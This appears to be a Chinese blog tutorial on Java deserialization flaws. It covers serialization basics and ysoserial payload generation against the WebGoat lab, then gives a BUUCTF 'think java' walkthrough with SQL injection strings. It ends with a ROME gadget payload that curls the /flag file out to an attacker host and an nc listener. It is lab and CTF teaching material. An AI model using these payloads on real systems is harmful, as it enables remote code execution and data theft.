Java反序列化漏洞实战：原理剖析与复现步骤

news2024/11/14 14:00:54

文章目录

java反序列化
- - 概念
  - 数据
  - 示例
  - Ysoserial工具使用
  - - 概念
    - 原生态api
    - 第三方组件
    - - 概念
      - 复现
反序列化示例
- - - 靶场
    - 过程

在现代应用程序开发中，Java反序列化漏洞已成为一个备受关注的安全问题。反序列化是Java中用于将字节流转换回对象的过程，但如果没有妥善处理，攻击者可以通过精心构造的恶意数据，利用反序列化漏洞执行任意代码，进而控制整个系统。理解Java反序列化漏洞的工作原理，并掌握其复现技巧，对于提升我们的安全防护水平至关重要。

本文将深入剖析Java反序列化漏洞的原理，展示如何在实际环境中复现该漏洞，并提供有效的防御措施。无论你是网络安全的新手，还是经验丰富的开发者，都能从中获得宝贵的知识和实用的技能。让我们一同揭开Java反序列化漏洞的神秘面纱，提升我们的安全防护能力

java反序列化

概念
1. Java 反序列化是一种将字节流转换回相应的 Java 对象的过程。反序列化与序列化相对应，序列化是将对象转换为字节流的过程。反序列化在分布式系统、持久化存储、网络通信和深度复制等应用中非常重要。
数据
1. 功能特性
  1. 反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
2. 数据特性
  1. 如果一段数据以rO0AB开头，你基本可以确定这串就是JAVA序列化base64加密的数据。
  2. 如果以aced开头，那么他就是这一段java序列化的16进制。
3. 出现具体
  1. http参数，cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4s),MII等 Servlets http,Sockets,Session管理器，包含的协议就包括：JMX,RMI,JMS,JND1等 (xacXed)xml Xstream, XmldEcoder等(http Body: Content-type: application/xml) json(jackson,fastjson)http请求中包含

示例

序列化与反序列化操作–代码

package SerialTest;

import java.io.*;

public class SerializableTest {
    public static void main(String[] args) throws Exception {
        serialPerson();
        Person person = deserialPerson();
        System.out.println(person);
    }

    /**
     * Person对象序列化
     * @throws IOException
     */
    private static void serialPerson() throws IOException {
        Person person = new Person("xiaodi", 28, "男", 101);

        ObjectOutputStream oos = new ObjectOutputStream(
                new FileOutputStream(new File("d:/1/person.txt"))
        );
        oos.writeObject(person);
        System.out.println("person 对象序列化成功！");
        oos.close();
    }

    /**
     * Person对象反序列化
     * @return
     * @throws Exception
     */
    private static Person deserialPerson() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(
                new FileInputStream(new File("d:/1/x.txt"))
        );
        Person person = (Person)ois.readObject();
        System.out.println("person 对象反序列化成功！");
        //Runtime.getRuntime().exec("calc.exe");
        return person;
    }
}

Ysoserial工具使用
1. 概念
  1. 用于生成原生态或者是第三方组件的序列化数据
2. 原生态api
  1. dns利用序列化数据生成
```
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://hnsmhz.dnslog.cn" > b.txt
```
  2. 将其进行反序列化成功ping通dns
3. 第三方组件
  1. 概念
  2. 复现
    1. 靶场：webgoat
    2. 环境启动
      
      java -jar webgoat-server-8.1.0.jar --server.port=8000 //注意，java的版本为11 //登录地址：http://localhost:8000/WebGoat 注意大小写
    3. 通过代码审计，发现符合Hibernate1 序列化库特征，可以直接使用现有的库来构造弹出计算机的payload，也可以直接用网站的库来构造payload
      
      payload
      
      java -cp "hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar" ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin
    4. 生成bin文件
    5. 因为网站用的是base64加密，故用base64加密脚本进行加密
      
      解密脚本
      
      import base64 file = open("flag.bin","rb") now = file.read() ba = base64.b64encode(now) print(ba) file.close()
反序列化示例
靶场
1. buuctf搜索2020 朱雀组 think java
2. 源码下载：class.zip
过程
1. 打开源码，发现sql注入
2. 对其进行注入，获得admin的账号和密码
  1. payload
```
url:http://fc2c9ce6-f7ce-43cd-88e8-4575718ab6b9.node5.buuoj.cn:81/common/test/sqlDict
dbName=myapp?a='union select (select name from user)#
dbName=myapp?a='union select (select pwdfrom user)#
```
3. 通过扫描可以得到有swagger未授权漏洞，打开http://fc2c9ce6-f7ce-43cd-88e8-4575718ab6b9.node5.buuoj.cn:81/swagger-ni.html页面
4. 在接口文档中输入账号和密码，登录成功，查看返回的数据，发现rO0AB开头，疑似base64加密后的java序列化数据
5. 发现此页面存在对token的验证文档，可能需要进行反序列化操作
6. 通过生成ping域名的payload并对其进行base64加密测试，发现存在此类漏洞
  1. payload：
```
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://ag61d5.dnslog.cn" > b.txt
```
7. 通过nc将读取flag值并反弹到服务器
  1. payload
```
服务端：
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl http://xx.xx.xx.xx:4444/ -d @/flag" > b.txt
攻击者启动监听：
nc -lvp 4444
```